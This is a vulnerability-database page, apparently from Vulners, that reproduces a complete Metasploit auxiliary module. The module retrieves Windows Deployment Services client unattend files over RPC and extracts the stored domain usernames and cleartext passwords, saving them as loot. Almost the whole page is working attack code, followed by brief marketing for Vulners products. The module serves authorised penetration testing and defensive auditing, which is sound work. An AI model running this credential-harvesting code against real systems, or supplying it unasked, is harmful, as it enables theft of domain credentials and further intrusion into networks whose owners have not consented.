Lucene search
+L

Microsoft Windows Deployment Services Unattend Retrieval

🗓️ 31 Jan 2013 19:53:37Reported by Ben Campbell <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 53 Views

Module retrieves client unattend file from Windows Deployment Services RPC service, parsing stored credentials. Tested against Windows 2008 R2 x64 and Windows 2003 x86

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::DCERPC
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  DCERPCPacket   	= Rex::Proto::DCERPC::Packet
  DCERPCClient   	= Rex::Proto::DCERPC::Client
  DCERPCResponse 	= Rex::Proto::DCERPC::Response
  DCERPCUUID     	= Rex::Proto::DCERPC::UUID
  WDS_CONST 		  = Rex::Proto::DCERPC::WDSCP::Constants

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows Deployment Services Unattend Retrieval',
      'Description'    => %q{
        This module retrieves the client unattend file from Windows
        Deployment Services RPC service and parses out the stored credentials.
        Tested against Windows 2008 R2 x64 and Windows 2003 x86.
      },
      'Author'         => [ 'Ben Campbell' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
          [ 'URL', 'http://rewtdance.blogspot.com/2012/11/windows-deployment-services-clear-text.html']
        ],
      ))

    register_options(
      [
        Opt::RPORT(5040),
      ])

    deregister_options('CHOST', 'CPORT', 'SSL', 'SSLVersion')

    register_advanced_options(
      [
        OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false])
      ])
  end

  def run_host(ip)
    begin
      query_host(ip)
    rescue ::Interrupt
      raise $!
    rescue ::Rex::ConnectionError => e
      print_error("#{ip}:#{rport} Connection Error: #{e}")
    ensure
      # Ensure socket is pulled down afterwards
      self.dcerpc.socket.close rescue nil
      self.dcerpc = nil
      self.handle = nil
    end
  end

  def query_host(rhost)
    # Create a handler with our UUID and Transfer Syntax

    self.handle = Rex::Proto::DCERPC::Handle.new(
      [
        WDS_CONST::WDSCP_RPC_UUID,
        '1.0',
      ],
      'ncacn_ip_tcp',
      rhost,
      [datastore['RPORT']]
    )

    print_status("Binding to #{handle} ...")

    self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
    vprint_good("Bound to #{handle}")

    report_service(
      :host => rhost,
      :port => datastore['RPORT'],
      :proto => 'tcp',
      :name => "dcerpc",
      :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
    )

    table = Rex::Text::Table.new({
      'Header' => 'Windows Deployment Services',
      'Indent' => 1,
      'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password']
    })

    creds_found = false

    WDS_CONST::ARCHITECTURE.each do |architecture|
      if architecture[0] == :ARM && !datastore['ENUM_ARM']
        vprint_status "Skipping #{architecture[0]} architecture due to adv option"
        next
      end

      begin
        result = request_client_unattend(architecture)
      rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
        vprint_error(e.to_s)
        print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
        return nil
      end

      unless result.nil?
        loot_unattend(architecture[0], result)
        results = parse_client_unattend(result)

        results.each do |result|
          unless result.empty?
            if result['username'] and result['password']
              print_good("Retrieved #{result['type']} credentials for #{architecture[0]}")
              creds_found = true
              domain = ""
              domain = result['domain'] if result['domain']
              report_creds(domain, result['username'], result['password'])
              table << [architecture[0], result['type'], domain, result['username'], result['password']]
            end
          end
        end
      end
    end

    if creds_found
      print_line
      table.print
      print_line
    else
      print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.")
    end
  end

  def request_client_unattend(architecture)
    # Construct WDS Control Protocol Message
    packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)

    guid = Rex::Text.rand_text_hex(32)
    packet.add_var(	WDS_CONST::VAR_NAME_CLIENT_GUID, guid)

    # Not sure what this padding is for...
    mac = [0x30].pack('C') * 20
    mac << Rex::Text.rand_text_hex(12)
    packet.add_var(	WDS_CONST::VAR_NAME_CLIENT_MAC, mac)

    arch = [architecture[1]].pack('C')
    packet.add_var(	WDS_CONST::VAR_NAME_ARCHITECTURE, arch)

    version = [1].pack('V')
    packet.add_var(	WDS_CONST::VAR_NAME_VERSION, version)

    wdsc_packet = packet.create

    vprint_status("Sending #{architecture[0]} Client Unattend request ...")
    dcerpc.call(0, wdsc_packet, false)
    timeout = datastore['DCERPC::ReadTimeout']
    response = Rex::Proto::DCERPC::Client.read_response(self.dcerpc.socket, timeout)

    if (response and response.stub_data)
      vprint_status('Received response ...')
      data = response.stub_data

      # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
      op_error_code = data.unpack('v*')[19]
      if op_error_code == 0
        if data.length < 277
          vprint_error("No Unattend received for #{architecture[0]} architecture")
          return nil
        else
          vprint_status("Received #{architecture[0]} unattend file ...")
          return extract_unattend(data)
        end
      else
        vprint_error("Error code received for #{architecture[0]}: #{op_error_code}")
        return nil
      end
    end
  end

  def extract_unattend(data)
    start = data.index('<?xml')
    finish = data.index('</unattend>')
    if start and finish
      finish += 10
      return data[start..finish]
    else
      print_error("Incomplete transmission or malformed unattend file.")
      return nil
    end
  end

  def parse_client_unattend(data)
    begin
      xml = REXML::Document.new(data)
      return Rex::Parser::Unattend.parse(xml).flatten
    rescue REXML::ParseException => e
      print_error("Invalid XML format")
      vprint_line(e.message)
      return nil
     end
  end

  def loot_unattend(archi, data)
    return if data.empty?
    p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
    print_good("Raw version of #{archi} saved as: #{p}")
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def report_creds(domain, user, pass)
    report_cred(
      ip: rhost,
      port: 4050,
      service_name: 'dcerpc',
      user: "#{domain}\\#{user}",
      password: pass,
      proof: domain
    )
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation